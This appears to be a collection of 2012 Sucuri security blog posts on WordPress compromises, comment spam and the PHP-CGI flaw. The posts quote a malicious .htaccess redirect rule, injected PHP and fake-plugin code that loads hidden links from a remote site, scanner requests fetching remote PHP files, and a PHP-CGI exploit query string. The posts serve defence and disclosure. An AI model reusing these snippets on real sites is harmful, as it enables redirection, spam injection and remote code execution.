Sucuri

Websites Compromised with Fake AV Campaign (Windows Web Secure Kit)

Daniel Cid — Tue, 15 May 2012 18:41:00 +0000

“To help protect your computer, Windows Web Secure Kit have detected trojans and is ready to remove them”. We are seeing many WordPress sites compromised with a malware redirecting users to the “Windows Web Secure Kit” fake/rogue anti virus. So if you get that message when visiting your (or any site), you know that it is likely compromised by it.

What is going on?

Once a site gets compromised, the .htaccess file gets modified to redirect users running Windows and coming from search engines to some russian sites:

http://colceadem.ru/infinity?8 OR
http://ademcolce.ru/infinity?8 OR
http://tradeincas.ru/siga?7 OR many others

Which then redirects the user to some intermediate sites (also .ru):

http://vocecolce.ru/subcribe/comment.php OR
http://digi-mote.ru/remote/disk.php OR
http://golfadam.ru/snack/nyam.php OR many others

Which at the end does the last redirection to some .info domains where the Fake AV is actually pushed to the user:

http://detectionperfomancekeep.info/25182cbe2ec9db38/0/

http://securityriskslow.info/dfa1c45eb8c092e7/0/

http://reliabilitysaverhigh.info/dfa1c45eb8c092e7/0/

http://systempckeeper.info/dfa1c45eb8c092e7/0/

That’s the pretty message the user gets:

Technical details

That’s the usual flow we are seeing loaded on the client side:

http://colceadem.ru/infinity?8 ->
http://vocecolce.ru/subcribe/comment.php ->
http://preventioncontrolpc.info/dfa1c45eb8c092e7/0/ (176.53.20.58)

OR

http://ademcolce.ru/infinity?8

http://incashilton.ru/magma/plaz.php ->
http://fail-safetydebugfirewall.info/dfa1c45eb8c092e7/0/ (176.53.20.58)

OR

http://tradeincas.ru/siga?7 ( 79.137.214.17) ->
http://erastyx.ru/imba/imdb.php (79.137.214.17) ->
http://reliabilitysaverhigh.info/dfa1c45eb8c092e7/0/ (176.53.20.58)

OR (a bit unusual, but happening)

http://mygooglemy.com (195.248.234.35) ->
http://detectionperfomancekeep.info/25182cbe2ec9db38/0/ (176.53.20.58)

But note that the domains change very often (a few times daily) and are registered daily by random names/addresses (just do a whois on any of those to verify).

This are all the domains we detected so far:

http://centerprocessesremedy.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://defendercenterthreat.info/dfa1c45eb8c092e7/0/ (184.22.206.52)
http://fail-safetydebugfirewall.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://fail-safetyperfomancecenter.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://firewalloptimizerguarantor.info/dfa1c45eb8c092e7/8/ (176.53.20.58)
http://onlinepreventionprotector.info/dfa1c45eb8c092e7/1/ (31.193.12.3)
http://optimizerfirewalltester.in/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://perfomanceprotectionmicrosoft.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://preventioncontrolpc.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://reliabilityinfectiondefender.info/dfa1c45eb8c092e7/1/ (176.53.20.58)
http://reliabilitysaverhigh.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://reliabilitysystemav.info/dfa1c45eb8c092e7/7/ (64.120.207.107)
http://remedysupervisionshield.info/dfa1c45eb8c092e7/0/ (31.193.12.3)
http://securityriskslow.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://securityriskslow.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://shieldavpc.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://systempckeeper.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://testingwormskeeper.info/dfa1c45eb8c092e7/0/ (176.53.20.58)
http://vulnerabilitydelivererantivirus.info/dfa1c45eb8c092e7/30/ (204.45.111.35)
http://windowsverifydefend.info/dfa1c45eb8c092e7/0/ (176.53.20.58)

http://day-one.ru/infinity?8 (79.137.214.17)
http://preez-beonce.ru/display/shew.php (79.137.214.17)
http://beoncemay.ru/infinity?8 (79.137.214.17)
http://beonce-preez.ru/infinity?8 (79.137.214.17)
http://colce-voce.ru/xtra/setting.php (79.137.214.17)
http://may-preez.ru/infinity?8 (79.137.214.17)
http://vocecolce.ru/subcribe/comment.php (79.137.214.17)
http://colce.ru/infinity?8 (79.137.214.17)
http://vocecolce.ru/subcribe/comment.php (79.137.214.17)
http://colceadem.ru/infinity?8 (79.137.214.17)
http://digi-mote.ru/remote/disk.php (79.137.214.17)
http://ademcolce.ru/infinity?8 (79.137.214.17)
http://digi-mote.ru/remote/disk.php (79.137.214.17)
http://ademvoce.ru/herz?8 (79.137.214.17)
http://motedigi.ru/carlos/dam.php (79.137.214.17)
http://digi-client.ru/herz?8 (79.137.214.17)
http://golfadam.ru/snack/nyam.php (79.137.214.17)
http://hilton-trade.ru/siga?7 (79.137.214.17)
http://incashilton.ru/magma/plaz.php (79.137.214.17)
http://trade-hilton.ru/siga?7 (79.137.214.17)
http://erastyx.ru/imba/imdb.php (79.137.214.17)
http://tradeincas.ru/siga?7 (79.137.214.17)

And that’s just one small sample, since they keep changing.

How are sites getting hacked?

Very good question. So far, we are seeing the same techniques as before: Looking for outdated WP installs, vulnerable plugins and timthumb.php (yes, some people are still using the old/vulnerable version of timthumb).

This is a common scanner looking for vulnerable timthumb:

207.58.169.51 – - [15/May/2012:18:33:22 +0000] “GET //wp-content/themes/TheStyle/timthumb.php?src=http://blogger.com.avisameinmobiliarias.es/xx.php HTTP/1.1″ 404 307 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6″

164.177.155.35 – - [15/May/2012:18:28:02 +0000] “GET /scanner//wp-content/themes/scarlett/?src=http://wordpress.com.airatrip.com/temp/dapetsatu.php HTTP/1.1″ 404 304 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6″

And when they find a way in, they add the following .htaccess to the hacked site:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|
netscape|aol|hotbot|goto|infoseek|mamma|..
RewriteRule ^(.*)$ http://tradeincas.ru/siga?7 [R=301,L]

In addition to many backdoors that help they maintain access to it. You can do a real time scan of your site here to see if it is compromised: http://sitecheck.sucuri.net.

Official WordPress Plugin Directory – Forcing Plugin Updates

Dre Armeda — Fri, 11 May 2012 19:52:03 +0000

For some while we have wondered what happens when a plugin is removed from the official WordPress plugin directory for security reasons. Historically, we haven’t seen much of anything happen – no notification to users, no official blog post, nothing beyond the plugin disappearing from the repo. Sometimes when it did disappear, my understanding is updates were forced – certainly for the major vulnerabilities.

In an interesting move, it looks like some experimental changes have been made to help ensure users quickly learn there is a security problem.

Plugin Directory Message

We wrote a post this week bringing some attention to the spammy actions of a website named WPStats.org and their fake Advanced Search Plugin. As of this morning, when trying to access the Advanced Search plugin page in the WordPress plugin directory you get the following message:

In the message they have officially stated that the plugin was never in the repository, we stand corrected! Here is a quote from the official response:

We rejected the plugin when it was submitted to the WordPress.org plugin directory. However, it seems the same code was offered for download elsewhere, which has resulted in sites infected with spam.

A warning was added to the Advanced Search plugin page along with a link to a clean version of the plugin.

The cool take away here is that this can be done for any plugin that’s in the directory. It could offer a mechanism for users to take action if a vulnerability is discovered.

We often talk about community efforts, I think this could be very helpful, and it’s great to see it coming from WordPress.org.

Plugin Updates

Another process coming to life looks to be removal of offending plugins. Below is the process that will occur when a plugin is deemed unsafe and may cause harm to your site and visitors:

1. Plugin Review

Plugin is reviewed and deemed unsafe – critical vulnerabilities where the author is not responsive, or malicious plugins. Vulnerabilities that are or can be actively exploited. This starts the process.

2. Notification Process

On WordPress.org, the code is blanked out, a message is added, and a new update is forced. WordPress dashboards are notified of an available update.

Update available:

Plugin description:

3. Plugin Updates

Upon updating, the code from the offending plugin is then blanked out from the WordPress installation.

If the plugin is readded to the website, the update message will reappear and then deactivate itself.

In the end, it looks like WordPress is experimenting with ways to take a stronger stance on offending code trying to infiltrate self installed instances of WordPress. It truly is a team effort, and it’s great to see them thinking through viable options to responsibly approaching security.

What’s your take? Let us know your thoughts on the new alerting and removal process that looks to be live as of today.

Blog Comments – Analysing 100,000 Comments and Spammers

Daniel Cid — Fri, 11 May 2012 15:31:32 +0000

“Nice blog, thanks for the info”

“Awesome site. Great job”

“You should take part in a contest for one of the best blogs on the web. I will recommend this site!”

I know you like flattering comments on your website. And I know you love to see many comments on each one of your posts (say you community participation). Who doesn’t, right? We love them too.

So we decided to take a closer look at the last 100,000 (well, 98,238 to be more exact) comments that were sent to the network of sites that we are monitoring. How much of them are spam? Who are the most annoying spammers? And things like that.

Comment Analysis

We filtered the latest 98,238 comments received (that’s less than a week worth of comments), and ran them through our analysis engine. Guess how many of them were spam? How many were good?

Spam comments: 79,858 (81.2%)
Good comments: 18,380 (18.8%)

Wow! So according to our analysis, more than 80% of the comments were classified as spam. We even took a conservative approach and classified unsure comments as good comments. So out of every 5 comments received, only 1 was valid.

*Unsure comments were ones we only saw hitting one web site, but the content was suspicious. Those in this list were almost 10,000 (9% of the overall total). If we had classified those as spam, the number would have grown to 90+% spam.

Spam Analysis – Messages

This really amused us. What type of message do you think a spammer was sending? Most of the time, we noticed that they sent a flattering note to increase the odds of the webmaster accepting the comment. Here are the top 10 messages sent by spammers:

238 sites, comment => Thank you very much!        

213 sites, comment => awesome site. Great job

191 sites, comment => Nice blog, thanks for the info.

186 sites, comment => Your website is really good!

172 sites, comment => Webmaster, I am the admin at SEOPlugins.org.  We
 profile SEO Plugins for WordPress blogs for on-site and off-site SEO.  I'd like to invite you to check out our recent profile for a pretty amazing plugin which can double or triple traffic for a Worpdress blog and we just posted  a video showing the plugin in action.  You can delete this comment, I didn\'t want to comment on your blog, just wanted to drop you a personal message.  Thanks,  Rich

144 sites, comment => Yup, you know it-, just like I've been saying.

137 sites,  comment => Louis Vuitton Shoes Ankle Boot

123 sites,  comment => Buy Viagra Online 

108 sites, comment => You made some decent points there. I looked on the internet for the issue and found most individuals will go along with with your website.

106 sites, comment => You should take part in a contest for one of the best blogs on the web. I will recommend this site!

The last one in the list is the funniest (“You should take part in a contest for one of the best blogs on the web. I will recommend this site”). Taking out the Viagra and the Louis Vuitton spam, why do they do it?

They do it because in the URL field, they add a link to their own web site (which can increase their page rankings, visitors, etc). Example:

[author] => Mary Jane
[email] => info@fabfunapps.com
[url] => http://fabfunapps.com
[comment] => Good share! I hope more people will discover your blog because you really know what you’re talking about. Can’t wait to read more from you

Spam Analysis – Emails

This email analysis was not as useful as we would have hoped. The emails are very random and mostly from gmail and hotmail accounts. These were the top spammer emails:

470 [email] => ofangjiancong@gmail.com
222 [email] => colorado@uymail.com
175 [email] => nhaofangjiancong@gmail.com
172 [email] => Rich@seoplugins.org
167 [email] => n9zvrx.dzpbhniuvb@gmail.com
161 [email] => imtheking@hotmail.com
136 [email] => euq.wxtzlrl17fvbx@gmail.com
133 [email] => crearlynaxzex@gmail.com
132 [email] => alms5eg.m0352vbi3@gmail.com
129 [email] => io6llx3za08izklw@gmail.com
123 [email] => mc.1e0l033z.fbr13z@gmail.com
121 [email] => gr794g4ci1a.bhcju@gmail.com
120 [email] => www.realcazinoz.com@gmail.com
120 [email] => hn.58gmso.jvbhxz36@gmail.com
120 [email] => 18ag5yfa46.io0ll2@gmail.com
115 [email] => plm.n5fqls79vmrop@gmail.com
115 [email] => ofawc5j0lhd9uab.8@gmail.com
113 [email] => yoagxxtp4mciouqx@gmail.com

These were the top domains used by spammers:

16514 gmail.com
7300 hotmail.com
3267 yahoo.com
2309 aol.com
2038 gmail.com
1066 googlemail.com
984 gnumail.com
954 123mail.net
950 yahoomail.com
443 ymail.com
349 yahoo.co.uk
261 cwcom.net
219 live.com
202 magicmail.com
197 mail.com
192 Gmail.com
180 mail.ru
160 msn.com

Spam Analysis – URLs

Now it is getting useful, let’s see the domains that are using comment spam to increase their ratings and visitors. Top 30 on this one (out of 24,976 different URLs):

1163 [url] => http://www.kitsucesso.com
1114 [url] => http://www.listasegmentada.com
677 [url] => http://stevepavlina.com
481 [url] => http://afriendshipquotes.blogspot.com/p/poem-for-best-friends.html
344 [url] => http://online-viagra-online.com
332 [url] => http://movie-web.org
317 [url] => http://www.divulgaemail.com
314 [url] => http://www.linklegends.com/free-trial
254 [url] => http://earn7800permonth.com
225 [url] => http://www.tvturn.com
208 [url] => http://www.zimbio.com/General/articles/-rEPnqoftf3/live+stream+TV+personal?add=True
208 [url] => http://www.filpan.ru
202 [url] => http://www.prlog.org/11261550-phone-number-lookup-catch-cheater-quickly.html
197 [url] => http://filter-paper.net
193 [url] => http://lnklicious.com
190 [url] => http://www.listadeemail.org
187 [url] => http://www.wordpress-subscribers.info
187 [url] => http://onlinepharmacy-levitra.com
179 [url] => http://eng.umek.su
172 [url] => http://www.seoplugins.org
167 [url] => http://5millionebooks.com
161 [url] => http://whatwhatwhat.com/
150 [url] => http://www.pharmacyreviewer.com/
146 [url] => http://www.japancoachstores.com/
144 [url] => http://www.guccibagoutletjp.com/
132 [url] => http://rsproductsonline.com/
129 [url] => http://diablo-3-for-free.com/review/diablo-3/
127 [url] => http://terbelizzder.com
126 [url] => http://www.cialis.vc

Spam Analysis – IP Addresses

To finish, some actionable information for hosting providers and website owners. This is the list of IP addresses sending the most spam so you can block them out:

296 62.75.181.210
238 216.59.22.16
238 188.138.84.93
227 66.85.128.34
182 204.12.237.43
166 204.45.108.226
162 37.59.151.187
161 37.59.173.137
129 178.32.151.208
126 37.59.151.182
119 91.201.64.4
113 178.137.160.195
107 192.162.102.221
104 83.136.86.21
104 83.136.86.105
101 78.112.161.207
100 178.32.201.178
93 94.153.9.47
92 109.73.77.149
91 94.45.168.67
90 91.207.8.26
84 80.84.51.194
83 91.210.104.143
80 69.194.161.228
79 83.22.254.204
78 75.35.174.45
73 120.62.1.232
71 120.62.1.174
69 91.236.74.133
68 71.21.19.133
68 63.141.237.224
68 210.192.65.242
66 120.62.16.89
65 74.108.93.214

The total list is very big (12,190 unique IP addresses), but blocking the top ones is a good start.

Spam Analysis – Countries

Out of curiosity we decided to check the top Countries sending spam (based on the IP address):

23,899 United States (31%)
16,888 China (22%)
5,145 Russian Federation (6.7%)
3,291 Brazil (4.3%)
3,094 France (4.0%)
2,850 Germany (3.7%)

In the olympics of SPAM, the USA is #1, followed by China (Silver), Russia (Bronze) and Brazil.

Conclusion

Yes, there is a lot of spam out there. I would say that 9 out of 10 comments are spammy in some way (even if not automated – we only classified automated messages as spam). In any event, let us know if you want any more information from this list. We have raw data, so we can run numbers and different analysis as requested.

Wpstats. org Spam and a Fake Advanced Search Plugin

Daniel Cid — Wed, 09 May 2012 15:12:46 +0000

If you are seeing hidden links in your WordPress site, it could be coming from wpstats.org. On some blackhat spam cases we are analysing, the following code was added to the theme header of the compromised site:

if(function_exists(‘curl_init’)) { $url = "http://www.wpstats.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data”; }

If you are not familiar with PHP, this code will contact www.wpstats.org/jquery-1.6.3.min.js, which will return a long list of hidden links to be included on your site (not visible on a normal browser).

The plugin

What is more interesting is that they also have a fake plugin called “advanced-search-plugin” that includes those hidden links and a call back to wpstats.org. The plugin does nothing of what is advertised (advanced search), and is just being used to attract attention to get it installed.

Part of the plugin:

/*
Plugin Name: Advanced Search
Plugin URI: http://searchpluginwp.blogspot.com/
Description: Add a Google style search to your blog where suggestions are made for tags, categories and titles.
Author: Jessica devon
Version: 2.1.2
Author URI: http://searchpluginwp.blogspot.com/

*/
if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();
$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);curl_close($ch);echo $data;}}
add_action(‘wp_head’, ‘insert_jquery_theme’);}

If you have this plugin installed, delete it ASAP! Sucuri SiteCheck should be able to identify those hidden spam links if your site is compromised.

Sucuri WordPress Security Plugin Protects Against PHP-CGI Vulnerability

Tony Perez — Wed, 09 May 2012 00:14:19 +0000

Today we released an update on the latest PHP CGI vulnerability and provided some additional information that users can use to help protect against it.

Guidance includes updating your .htaccess file with the following:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? – [F,L]

It is important to note however that if you are on WordPress and currently using our Free security plugin you are protected. We are actively seeing the attack across our growing network of plugin users and proactively pushing changes to protect our users.

What’s great about this is that its independent of what your host does. You can rest easy knowing that we’ve got your back.

Not Familiar With our Free Security Plugin?

You can find more information on the specifics by reading our Preventive page. The Security plugin is a new feature that we have recently released for free to all our WordPress clients.

PHP-CGI Vulnerability Exploited in the Wild

Daniel Cid — Tue, 08 May 2012 15:06:23 +0000

When the PHP-CGI vulnerability was disclosed, we knew it would be just a matter of days before it started to be exploited in the wild.

Well, it didn’t take long. Since the weekend, we started to see scanners looking for that vulnerability on our servers and honeypots. And now we are seeing sites getting compromised through it as well.

Understanding the Attack

So far we noticed that the attack starts in two ways, either by checking if the server is vulnerable using the ?-s option (which shows the source of the page):

88.198.51.36 – - [06/May/2012:07:51:36 -0400] “GET /index.php?-s HTTP/1.1″ 301

Or by including the content of the PHP input (or of an external shell):

84.247.61.27 – - [07/May/2012:17:16:58 -0400] “POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1″ 301 – “-” “-”

If the attacker succeeds, it will upload a backdoor to the compromised site in a random location of the file system and use that to continue exploiting the server.

It is also important to note that even though we are only seeing those two “flags” being used (-s and -d), php-cgi has many options and any of them can be used:

$ php-cgi -h
-a Run interactively
-b
| Bind Path for external FASTCGI Server mode
-C Do not chdir to the script’s directory
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-e Generate extended information for debugger/profiler
-f Parse . Implies `-q’
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z Load Zend extension .
-T Measure execution time of script repeated times.

Attacker IP addresses

Via our honeypots, we detected the following IP addresses trying to exploit this vulnerability:

# [Number of hits] [IP Address]
191 85.114.141.40
120 91.224.160.132
44 84.247.61.27
32 94.242.199.77
18 91.227.142.126
10 80.244.248.70
7 88.228.101.221
5 190.245.104.190
5 88.228.104.94
5 88.228.114.235
3 71.163.209.143
2 177.8.168.3
2 88.228.122.158
2 190.44.25.254
2 88.198.51.36
1 91.77.240.51

And this number is probably going to grow even more.

Protecting yourself

The PHP guys are recommending the following .htaccess hack to block those attacks:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? – [F,L]

But the best option is to update PHP ASAP (a fix is available for it already), or stop using the CGI setup and move to to the PHP module (if using Apache), or Fast CGI.

More details to come!

Update 1:
*Facebook is playing with this vulnerability and added the following job link on their page: https://facebook.com/?-s (for anyone that is probing for this):

include_once ‘https://www.facebook.com/careers/department?dept=engineering&req=a2KA0000000Lt8LMAS’;

April/2012 Malware Analysis

Daniel Cid — Tue, 01 May 2012 16:21:44 +0000

When we see a compromised site distributing malware, it is often done via 4 methods: Iframe, Javascript, Spam or internal redirections. Those are not the only ways, and they can be encoded or hidden differently internally on the sites, but the final output on the compromised sites is generally one of them:

Iframe injection: It makes the browser loads content from external (and malicious web sites). Example:

Javascript injection: Used to encode (hide) calls to iframes or additional remote javascript includes. Example:
    775
    544
    486
    424
    405
    357

Malware signatures

Even though we can classify web malware into those 4 categories above, we sub-categorize them for our analysis and internal detection. Those were the top signatures detected (per page, not per site in this count):

39392 http://sucuri.net/malware/malware-entry-mwblacklisted35
27984 http://sucuri.net/malware/malware-entry-mwanomalysp8
27491 http://sucuri.net/malware/entry/MW:IFRAME:HD202
15393 http://sucuri.net/malware/malware-entry-mwjs67473
15280 http://sucuri.net/malware/web-site-disabled
13064 http://sucuri.net/malware/entry/MW:JS:DEPACK
12440 http://sucuri.net/malware/malware-entry-mwht291
10209 http://sucuri.net/malware/malware-entry-mwjsanon7
10005 http://sucuri.net/malware/entry/MW:SPAM:SEO
9746 http://sucuri.net/malware/malware-entry-mwiframeenc1603
7180 http://sucuri.net/malware/malware-entry-mwiframehd564
6863 http://sucuri.net/malware/malware-entry-mwjs160
6597 http://sucuri.net/malware/malware-entry-mwhjck3123
6060 http://sucuri.net/malware/malware-entry-mwjs69693
3449 http://sucuri.net/malware/malware-entry-mwjsde921
3123 http://sucuri.net/malware/malware-entry-mwhta7
2138 http://sucuri.net/malware/malware-entry-mwjs2368
1438 http://sucuri.net/malware/entry/MW:JS:150
1275 http://sucuri.net/malware/malware-entry-mwjs488
1208 http://sucuri.net/malware/entry/MW:DEFACED:01
1061 http://sucuri.net/malware/malware-entry-mwgdd6
800 http://sucuri.net/malware/entry/MW:JS:221
780 http://sucuri.net/malware/malware-entry-mwanomalysp7
532 http://sucuri.net/malware/malware-entry-mwjsjj678
367 http://sucuri.net/malware/malware-entry-mwjs159

New WooThemes Vulnerability Patched – Update Framework Now!

Tony Perez — Sun, 29 Apr 2012 18:23:59 +0000

Yesterday a vulnerability on the WooThemes Framework was disclosed by Jason Gill on githumb:gist. The vulnerability allows a visitor to see and run the output of any shortcode configured on the WordPress site.

At this time this does not appear to be linked to the DDoS they experienced this week.

We are currently assessing the severity of this vulnerability in our labs. If in fact we find that something severely adverse can be performed with it, the next big concern will be that it can be exploited even if the theme is not active.

Quick tip: If your themes or plugins aren’t in use, get rid of them!

The Patch

The WooThemes team responded to the post showing that the bug had been found and fixed on 04/23/2012. The challenge with this appears to be that patching the bug also appeared to negatively impact the updater so some might not have been notified of the issue.

The WooThemes team responded this morning informing everyone of the vulnerability and its patch. Matty Cohen is quoted saying:

The shortcode preview functionality that was in the WooFramework’s bundled shortcode generator (the neat popup used to add shortcodes to posts and pages with a point-and-click interface) was identified as a potential security exploit several days ago. After the first report was made, we began work on isolating and resolving this exploit. This resulted in the removal of this functionality from the WooFramework (the shortcode generator is still there… just the preview functionality was removed).

The potential exploit is such that the shortcode preview allowed users to generate shortcodes using the preview window’s file, without authenticating the user.

The Area of Concern

The bigger issue appears to be the following:

The disclosure of this vulnerability, and what appears to be little regard to “responsible disclosure”.

The lack of disclosure from the company if in fact it was patched April 23rd.

Getting the word out to all the end-users using the theme or that have it on their servers sitting idle.

This is easily a chicken before the egg scenario. If in fact the vulnerability was found and patched on April 23rd then a public disclosure was and is warranted, especially when we’re talking about the number of end-users using the WooThemes framework. That being said, Jason Gill also had the social responsibility to disclose responsibly to the company. This could easily be perceived as something a grey-hat would do.

The Real Problem

The real problem right now is that the information is in the wild. Again, it comes down the simplest of security practices, update your software immediately.

Version 5.3.11 of the WooFramework is working fully with the automatic “Update Framework” link as well. This was just a matter of a slightly older version being online after our website restoration, which was why the automated updater wasn’t being triggered. We’ve now remedied this with version 5.3.11. – WooThemes

Our focus now has to be getting ahead of the attack and reducing the attack landscape.

Please, be sure to review your server and update or remove any old themes not being used.

Thought of the day: Let’s all use this opportunity to grow from it as a community and learn to better engage with each other.

If you have any further questions please contact us at info@sucuri.net

Ransomware Malware on the Web?

Tony Perez — Sat, 28 Apr 2012 18:55:02 +0000

As the week comes to a close I wanted to take a minute to talk about something we haven’t yet – Ransomware Malware.

The idea came from a case this week where a client was defaced. Instead of engaging the host or malware professional she took it upon herself to to plead with the attacker via the provided email (you have to love egos). What was most amusing though was the attacker finally gave in and restored her site in an attempt to get her off his back.

Obviously not something we recommend, but an amusing story none the less. She turned his defacement and retaliated with a little something we like to call, “Begware.”

And so this got us thinking about something that has predominantly been isolated to the notebook and desktop environments – Ransomware malware.

What is Ransomware Malware?

Its a type of malware designed to hijack a victims information, often isolated to local environments, in return for money or some other collateral. It actually made its debut back in 1989 in a trojan called PC Cyborg.

The idea is simple, keep you from your data.

Imagine one day turning on your computer and in return you see a splash page that provides you instructions on how to go about retrieving your information. To retrieve it though you must pay the attacker X amount of dollars and in return you will get a key that will undo anything that was done to keep you from your data.

Ransomware and the Web

So the obvious question, being that we’re a web malware company is, is it a trend we’re seeing on the web? The answer is no, but a definite possibility.

Thinking Through It

What would you do if you opened your site one day and it had an ugly defacement on it, something like this:

Instead of being informed of the weakness in your websites security and their obvious superiority, you get a message that says:

We have stolen your website, send money via PayPal to this account and we’ll reinstate your site!!!

For a more impactful affect imagine the use of other more imaginative words to bring the point home.

What would you do?

The harsh reality of the situation is that some folks would most likely comply with such demands. That is probably the part that worries us the most, not those that would see this and laugh, but rather those that would see this and comply.

What To Do

If ever presented with something like this, don’t fret. The web-o-sphere is a different animal than local environments. There is no one piece of the puzzle that can be kicked out from under you, as long as you are being proactive.

The key word being – proactive.

Understand that you and only you are responsible for your website. Its easy to pass the buck off to someone else, your developer, designer, host, malware company but in the end, its your site. Take ownership!

So here is a list of what to do:

Take a step back, collect yourself, and breathe

Call your hosting company

Have them apply your backups – You have backups right?

Change all your credentials – FTP, SFTP, SSH, Admin Panel, CPANEL, Database, etc..

Engage with a malware company

If you are a proactive website owner then you would have done your homework and you would have:

Host contact information in the event of emergencies

Understanding of host protocols when it comes to malware

Backups going back at least 1 week of your database and website

Looking Forward

While not currently an active web-based threat it was good to take a minute to stop and think about it. To think about what someone would do if it ever happened and how it could be applied is fundamental to how we do business.Additionally, with the evolution and increased sophistication of web-based malware we would not be surprised to see it.

Fortunately, as in most cases, by taking a few proactive steps, a website owner is able to keep themselves from becoming a victim.

If you have seen cases of this or experienced it yourself we would love to hear from you, send us a note at info@sucuri.net

Lockdown WordPress – A Security Webinar with Dre Armeda

Dre Armeda — Thu, 26 Apr 2012 21:55:18 +0000

We had the opportunity to do a webinar about WordPress security with the guys from iThemes yesterday. Here’s the video for those of you who missed out on the fun:

Dre Armeda from Sucuri Security presented on various WordPress related areas that help reduce risk for website owners and administrators. The webinar includes a high level discussion about the growth of the internet, he goes over some of the more popular malware attacks affecting WordPress users, then offers various tips, tools, and resources to help you reduce risk.

Hope you enjoy!

If you have any questions, feel free to email us at info@sucuri.net